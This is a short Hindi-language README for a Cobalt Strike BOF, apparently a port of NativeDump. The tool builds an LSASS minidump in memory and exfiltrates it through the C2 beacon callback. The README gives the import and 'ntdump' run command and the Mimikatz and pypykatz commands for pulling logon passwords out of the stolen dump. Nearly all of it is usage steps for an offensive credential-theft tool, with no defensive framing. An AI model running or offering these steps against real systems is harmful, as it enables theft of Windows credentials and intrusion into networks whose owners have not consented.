
Cobalt Strike BOF जो मेमोरी में LSASS मिनिडंप बनाता है और Mimikatz या pypykatz के साथ ऑफ़लाइन क्रेडेंशियल पार्सिंग के लिए इसे C2 कॉलबैक के माध्यम से बाहर भेजता है।
टूल https://github.com/ricardojoserf/NativeDump का BOF पोर्ट, जिसे @ricardojoserf ने लिखा है।
NtDump.cna को इम्पोर्ट करें और चलाएँ:
ntdump <filename>
मिनिडंप फ़ाइल मेमोरी में बनाई जाएगी और CALLBACK_FILE तथा CALLBACK_FILE_WRITE का उपयोग करके डाउनलोड की जाएगी। एक बार डाउनलोड हो जाने पर, फ़ाइल View -> Download पर दिखाई देगी।
इसे बाद में Mimikatz का उपयोग करके पार्स किया जा सकता है
mimikatz # sekurlsa::minidump <file path to downloaded minidump file>
mimikatz # sekurlsa::logonpasswords full
या pypykatz
pypykatz lsa minidump <file path to downloaded minidump file>